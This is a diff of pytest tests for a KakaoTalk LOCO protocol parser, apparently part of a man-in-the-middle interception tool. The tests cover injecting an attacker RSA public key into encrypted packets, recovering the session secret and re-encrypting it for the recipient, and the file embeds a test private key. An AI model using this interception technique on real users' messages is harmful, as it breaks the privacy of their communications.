phAoGAO9Ta\nqJ1pkMrYe9mHW2Ai++DPBus7gvJXOPsK3Pzrh9ot/dcssJtAy2c/ppQGH9UCt93V\nmbmwYOqmphwZk2/gtT7EBvD8X/C7nzyShjGLkEAIzCEiZBJyzYTbuOxz8AndK9yt\n1zNFoS89dic5uTuWk+j7bo3p/YqRpE15oEoCIAECgYEA6Sj9AJKKdtdhY1xRTJvh\n6r85iW24EVN1K4eZqNLKiu6l7N1zofxfwXlZPOwE5YYN965xVKGHocwL0dk3Js5C\nw5+hHfxWLomnz+c2tv7kkTJTZzKfSR/6gzsdR4kX9hS2bntQdH137RpobvdGcJGe\nh5FwC5Myfu2oxAqtvX6ii9g=\n-----END PRIVATE KEY-----\n"
|
||||
return serialization.load_pem_private_key(key_pair_pem, password=None)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def parser():
|
||||
@pytest.fixture(name="parser")
|
||||
def parser_fixture():
|
||||
return LocoParser()
|
||||
|
||||
|
||||
|
@ -93,13 +93,15 @@ def loco_packet_packet(request, shared_datadir):
|
|||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def loco_encrypted_packet():
|
||||
@pytest.fixture(name="loco_encrypted_packet")
|
||||
def loco_encrypted_packet_fixture():
|
||||
return LocoEncryptedPacket(length=0, iv=_IV, payload=b"")
|
||||
|
||||
|
||||
@pytest.fixture(params=zip(_LOCO_ENYCRYPTED_PACKETS_RAW, _LOCO_PACKETS_YAML))
|
||||
def loco_zip(request):
|
||||
@pytest.fixture(
|
||||
name="loco_zip", params=zip(_LOCO_ENYCRYPTED_PACKETS_RAW, _LOCO_PACKETS_YAML)
|
||||
)
|
||||
def loco_zip_fixture(request):
|
||||
return request.param
|
||||
|
||||
|
||||
|
@ -127,7 +129,7 @@ def test_parse(parser, loco_zip, shared_datadir):
|
|||
|
||||
|
||||
def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
|
||||
rsa_key_pair = get_rsa_2048_key_pair()
|
||||
rsa_key_pair = get_mitm_rsa_2048_key_pair()
|
||||
|
||||
with open(
|
||||
(shared_datadir / "encrypted_screate_packet_with_mitm_key.raw"), "rb"
|
||||
|
@ -164,7 +166,7 @@ def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
|
|||
|
||||
|
||||
def test_get_shared_secret(parser, shared_datadir):
|
||||
rsa_key_pair = get_rsa_2048_key_pair()
|
||||
rsa_key_pair = get_mitm_rsa_2048_key_pair()
|
||||
|
||||
with open(
|
||||
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
|
||||
|
@ -191,15 +193,12 @@ def test_get_shared_secret(parser, shared_datadir):
|
|||
parser.loco_packet = setsk_packet
|
||||
assert parser.loco_packet
|
||||
|
||||
assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret
|
||||
assert parser.get_shared_secret(rsa_key_pair) == _SHARED_SECRET_ENCODED
|
||||
|
||||
|
||||
def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
|
||||
with open((shared_datadir / "encrypted_setsk_packet.raw"), "rb") as packet_raw:
|
||||
encrypted_setsk_packet = packet_raw.read()
|
||||
|
||||
with open(
|
||||
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
|
||||
(shared_datadir / "setsk_loco_packet_sk_enc_with_recipient_key.yaml"),
|
||||
encoding="utf-8",
|
||||
) as packet_yaml:
|
||||
setsk_dict = yaml.load(packet_yaml)
|
||||
|
@ -219,7 +218,6 @@ def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
|
|||
parser.loco_encrypted_packet = loco_encrypted_packet
|
||||
assert parser.loco_encrypted_packet
|
||||
|
||||
assert (
|
||||
parser.encrypt_shared_secret(_SHARED_SECRET, _KAKAOTALK_RSA_PUBLIC_KEY)
|
||||
== encrypted_setsk_packet
|
||||
assert parser.encrypt_shared_secret(
|
||||
_SHARED_SECRET_ENCODED, _ORIGINAL_RECIPIENT_PUBLIC_KEY
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue
Block a user